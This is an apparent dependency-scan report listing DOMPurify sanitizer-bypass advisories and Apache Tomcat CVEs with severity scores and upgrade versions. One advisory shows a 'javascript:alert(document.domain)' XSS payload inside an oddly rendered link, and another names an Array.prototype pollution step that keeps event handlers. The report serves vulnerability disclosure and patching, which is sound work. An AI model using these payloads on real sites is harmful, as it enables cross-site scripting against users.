- githubID - GHSA-h8r8-wccr-v5f2
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-h8r8-wccr-v5f2>

Summary DOMPurify allows `ADD\_ATTR` to be provided as a predicate function via `EXTRA\_ELEMENT\_HANDLING.attributeCheck`. When the predicate returns `true`, `\_isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `[## Impact Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS. **## Credits** Identified by Cantina's Apex \(https://www.cantina.security\). \(RETIREJS\) suppress](javascript:alert(document.domain))

Summary

DOMPurify allows `ADD\_ATTR` to be provided as a predicate function via `EXTRA\_ELEMENT\_HANDLING.attributeCheck`. When the predicate returns `true`, `\_isValidAttribute` short-circuits the attribute check before URI-safe validation runs. An attacker who supplies a predicate that accepts specific attribute/tag combinations can then sanitize input such as `

Impact

Predicate-based allowlisting bypasses DOMPurify's URI validation, allowing unsafe protocols such as `javascript:` to reach the DOM and execute whenever the link is activated, resulting in DOM-based XSS.

Credits

Identified by Cantina's Apex (https://www.cantina.security).

Unscored:

- Severity: medium

References:

- githubID - GHSA-cjmm-f4jc-qw8r
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-cjmm-f4jc-qw8r>

Summary In `src/purify.ts:1117-1123`, `ADD\_TAGS` as a function (via `EXTRA\_ELEMENT\_HANDLING.tagCheck`) bypasses `FORBID\_TAGS` due to short-circuit evaluation. The condition: ``!(tagCheck(tagName)) && (!ALLOWED\_TAGS[tagName] || FORBID\_TAGS[tagName])`` When `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID\_TAGS[tagName]` is never evaluated. **## Inconsistency** This contradicts the attribute-side pattern at line 1214 where `FORBID\_ATTR` explicitly wins first: ``if (FORBID\_ATTR[lcName]) { continue; }`` For tags, FORBID should also take precedence over ADD. **## Impact** Applications using both `ADD\_TAGS` as a function and `FORBID\_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency. **## Suggested Fix** Check `FORBID\_TAGS` before `tagCheck`: ``if (FORBID\_TAGS[tagName]) { /\* remove \*/ } else if (tagCheck(tagName) || ALLOWED\_TAGS[tagName]) { /\* keep \*/ }`` **## Affected Version** v3.3.3 (commit 883ac15). (RETIREJS) suppress

Summary

In `src/purify.ts:1117-1123`, `ADD\_TAGS` as a function (via `EXTRA\_ELEMENT\_HANDLING.tagCheck`) bypasses `FORBID\_TAGS` due to short-circuit evaluation.

The condition:

```
...
!(tagCheck(tagName)) && (!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName])
...
```

When `tagCheck(tagName)` returns `true`, the entire condition is `false` and the element is kept — `FORBID\_TAGS[tagName]` is never evaluated.

Inconsistency

This contradicts the attribute-side pattern at line 1214 where `FORBID\_ATTR` explicitly wins first:

```
...
if (FORBID_ATTR[lcName]) { continue; }
...
```

For tags, FORBID should also take precedence over ADD.

Impact

Applications using both `ADD\_TAGS` as a function and `FORBID\_TAGS` simultaneously get unexpected behavior — forbidden tags are allowed through. Config-dependent but a genuine logic inconsistency.

Suggested Fix

Check `FORBID\_TAGS` before `tagCheck`:

```
...
if (FORBID_TAGS[tagName]) { /* remove */ }
else if (tagCheck(tagName) || ALLOWED_TAGS[tagName]) { /* keep */ }
...
```

Affected Version

v3.3.3 (commit 883ac15)

Unscored:

- Severity: medium

References:

- githubID - GHSA-39q2-94rc-95cp
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-39q2-94rc-95cp>

Summary When `USE\_PROFILES` is enabled, DOMPurify rebuilds `ALLOWED\_ATTR` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via `ALLOWED\_ATTR[lcName]`, any `Array.prototype` property that is polluted also counts as an allowlisted attribute. An attacker who can set `Array.prototype.onclick = true` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as `onclick` even when they are normally forbidden. The provided PoC sanitizes `` with `USE\_PROFILES` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector. **## Impact** Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered. **## Credits** Identified by Cantina's Apex (<https://www.cantina.security>). suppress

Summary

When `USE\_PROFILES` is enabled, DOMPurify rebuilds `ALLOWED\_ATTR` as a plain array before populating it with the requested allowlists. Because the sanitizer still looks up attributes via `ALLOWED\_ATTR[lcName]`, any `Array.prototype` property that is polluted also counts as an allowlisted attribute. An attacker who can set `Array.prototype.onclick = true` (or a runtime already subject to prototype pollution) can thus force DOMPurify to keep event handlers such as `onclick` even when they are normally forbidden. The provided PoC sanitizes `` with `USE\_PROFILES` and adds the sanitized output to the DOM; the polluted prototype allows the event handler to survive and execute, turning what should be a blocklist into a silent XSS vector.

Impact

Prototype pollution makes DOMPurify accept dangerous event handler attributes, which bypasses the sanitizer and results in DOM-based XSS once the sanitized markup is rendered.

Credits

Identified by Cantina's Apex (<https://www.cantina.security>).

Unscored:

- Severity: medium

References:

- githubID - GHSA-cj63-jhhr-wcxv
- info - <https://github.com/cure53/DOMPurify/releases/tag/3.3.2>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-cj63-jhhr-wcxv>

CVE-2026-41238 (RETIREJS) suppress

Unscored:

- Severity: medium

References:

- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-v9jr-rg53-9pgp>

CVE-2026-41239 (RETIREJS) suppress

Unscored:

- Severity: medium

References:

- info - <https://github.com/cure53/DOMPurify/releases/tag/3.4.0>
- info - <https://github.com/cure53/DOMPurify/security/advisories/GHSA-crv5-9vww-q3g8>

tomcat-embed-core-11.0.18.jar**Description:**

Core Tomcat implementation

License:

Apache License, Version 2.0: <http://www.apache.org/licenses/LICENSE-2.0.txt>

File Path: C:\Users\Lucas Donizeti\m2repository\org\apache\tomcat\embed\tomcat-embed-core\11.0.18\tomcat-embed-core-11.0.18.jar

MD5: 15ef8764b56c3cb7fdd3cee9230e853

SHA1: a96bb1b8a21ee7e93ce01cce7fd63f8e7561ec92

SHA256: b9bd0dd346fdade192cb7868418efa7aa20b12f1fdd5ab28cdef183ac6b5743

Referenced In Project/Scope: oficina:compile

Included by: pkg:maven/org.springframework.boot/spring-boot-starter-web@4.0.3

Evidence**Related Dependencies****Identifiers**

- pkg:maven/org.apache.tomcat.embed/tomcat-embed-core@11.0.18 (Confidence:High)
- cpe:2.3:a:apache:tomcat:11.0.18:*:*:*:*:* (Confidence:High) suppress
- cpe:2.3:a:apache:tomcat:11.0.18:*:*:*:*:* (Confidence:High) suppress

Published Vulnerabilities

CVE-2026-29145 suppress

CLIENT_CERT authentication does not fail as expected for some scenarios when soft fail is disabled vulnerability in Apache Tomcat, Apache Tomcat Native.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M7 through 10.1.52, from 9.0.83 through 9.0.115; Apache Tomcat Native: from 1.1.23 through 1.1.34, from 1.2.0 through 1.2.39, from 1.3.0 through 1.3.6, from 2.0.0 through 2.0.13.

Users are recommended to upgrade to version Tomcat Native 1.3.7 or 2.0.14 and Tomcat 11.0.20, 10.1.53 and 9.0.116, which fix the issue.

CWE-287 Improper Authentication

CVSSv3:

- Base Score: CRITICAL (9.1)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N/E:3.9/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [MAILING LIST:THIRD PARTY ADVISORY](#)
- security@apache.org - [MAILING LIST:VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:tomcat:*:*:*:*:* versions from \(including\) 11.0.0; versions up to \(excluding\) 11.0.20](#)
- ...

[CVE-2026-24880](#)

Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') vulnerability in Apache Tomcat via invalid chunk extension.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0-M1 through 9.0.115, from 8.5.0 through 8.5.100, from 7.0.0 through 7.0.109.

Other, unsupported versions may also be affected.

Users are recommended to upgrade to version 11.0.20, 10.1.52 or 9.0.116, which fix the issue.

CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N/E:3.9/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [MAILING LIST:THIRD PARTY ADVISORY](#)
- security@apache.org - [MAILING LIST:VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:tomcat:*:*:*:*:* versions from \(including\) 11.0.0; versions up to \(excluding\) 11.0.20](#)
- ...

[CVE-2026-29129](#)

Configured cipher preference order not preserved vulnerability in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.16 through 11.0.18, from 10.1.51 through 10.1.52, from 9.0.114 through 9.0.115.

Users are recommended to upgrade to version 11.0.20, 10.1.53 or 9.0.116, which fix the issue.

CWE-327 Use of a Broken or Risky Cryptographic Algorithm

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:3.9/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [MAILING LIST:THIRD PARTY ADVISORY](#)
- security@apache.org - [MAILING LIST:VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:tomcat:*:*:*:*:* versions from \(including\) 11.0.16; versions up to \(excluding\) 11.0.20](#)
- ...

[CVE-2026-29146](#)

Padding Oracle vulnerability in Apache Tomcat's EncryptInterceptor with default configuration.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.0.0-M1 through 10.1.52, from 9.0.13 through 9.0.115, from 8.5.38 through 8.5.100, from 7.0.100 through 7.0.109.

Users are recommended to upgrade to version 11.0.19, 10.1.53 and 9.0.116, which fixes the issue.

CWE-642 External Control of Critical State Data, CWE-209 Generation of Error Message Containing Sensitive Information

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:3.9/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [MAILING LIST:THIRD PARTY ADVISORY](#)
- security@apache.org - [MAILING LIST:VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:tomcat:*:*:*:*:* versions from \(including\) 11.0.0; versions up to \(excluding\) 11.0.20](#)
- ...

[CVE-2026-34483](#)

Improper Encoding or Escaping of Output vulnerability in the JsonAccessLogValve component of Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.40 through 9.0.116.

Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.

CWE-116 Improper Encoding or Escaping of Output

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:3.9/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [MAILING LIST,THIRD PARTY ADVISORY](#)
- security@apache.org - [MAILING LIST,VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:tomcat:*:*:*:*:* versions from \(including\) 11.0.0; versions up to \(excluding\) 11.0.21](#)
- ...

[CVE-2026-34487](#)

Insertion of Sensitive Information into Log File vulnerability in the cloud membership for clustering component of Apache Tomcat exposed the Kubernetes bearer token.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.20, from 10.1.0-M1 through 10.1.53, from 9.0.13 through 9.0.116.

Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fix the issue.

CWE-532 Insertion of Sensitive Information into Log File

CVSSv3:

- Base Score: HIGH (7.5)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N/E:3.9/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [MAILING LIST,THIRD PARTY ADVISORY](#)
- security@apache.org - [MAILING LIST,VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:tomcat:*:*:*:*:* versions from \(including\) 11.0.0; versions up to \(excluding\) 11.0.21](#)
- ...

[CVE-2026-34500](#)

CLIENT_CERT authentication does not fail as expected for some scenarios when soft fail is disabled and FFM is used in Apache Tomcat.

This issue affects Apache Tomcat: from 11.0.0-M14 through 11.0.20, from 10.1.22 through 10.1.53, from 9.0.92 through 9.0.116.

Users are recommended to upgrade to version 11.0.21, 10.1.54 or 9.0.117, which fixes the issue.

CWE-287 Improper Authentication

CVSSv3:

- Base Score: MEDIUM (6.5)
- Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N/E:2.2/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [MAILING LIST,THIRD PARTY ADVISORY](#)
- security@apache.org - [VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:tomcat:*:*:*:*:* versions from \(including\) 11.0.1; versions up to \(excluding\) 11.0.21](#)
- ...

[CVE-2026-25854](#)

Occasional URL redirection to untrusted Site ('Open Redirect') vulnerability in Apache Tomcat via the LoadBalancerDrainingValve.

This issue affects Apache Tomcat: from 11.0.0-M1 through 11.0.18, from 10.1.0-M1 through 10.1.52, from 9.0.0.M23 through 9.0.115, from 8.5.30 through 8.5.100. Other, unsupported versions may also be affected

Users are recommended to upgrade to version 11.0.20, 10.1.53 or 9.0.116, which fix the issue.

CWE-601 URL Redirection to Untrusted Site ('Open Redirect')

CVSSv3:

- Base Score: MEDIUM (6.1)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/L/I:L/A:N/E:2.8/RC:R/MAV:A

References:

- af854a3a-2127-422b-91ae-364da2661108 - [MAILING LIST,THIRD PARTY ADVISORY](#)
- security@apache.org - [MAILING LIST,VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:tomcat:*:*:*:*:* versions from \(including\) 11.0.0; versions up to \(excluding\) 11.0.20](#)
- ...

[CVE-2026-32990](#)

Improper Input Validation vulnerability in Apache Tomcat due to an incomplete fix of CVE-2025-66614.

This issue affects Apache Tomcat: from 11.0.15 through 11.0.19, from 10.1.50 through 10.1.52, from 9.0.113 through 9.0.115.

Users are recommended to upgrade to version 11.0.20, 10.1.53 or 9.0.116, which fix the issue.

CWE-20 Improper Input Validation

CVSSv3:

- Base Score: MEDIUM (5.3)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N/E:3.9/RC:R/MAV:A

References:

- security@apache.org - [MAILING LIST,VENDOR ADVISORY](#)

Vulnerable Software & Versions: ([show all](#))

- [cpe:2.3:a:apache:tomcat:*:*:*:*:* versions from \(including\) 11.0.15; versions up to \(excluding\) 11.0.20](#)
- ...

This report contains data retrieved from the [National Vulnerability Database](#).

This report may contain data retrieved from the [CISA Known Exploited Vulnerability Catalog](#).

This report may contain data retrieved from the [Github Advisory Database \(via NPM Audit API\)](#).

This report may contain data retrieved from [RetireJS](#).

This report may contain data retrieved from the [Sonatype OSS Index](#).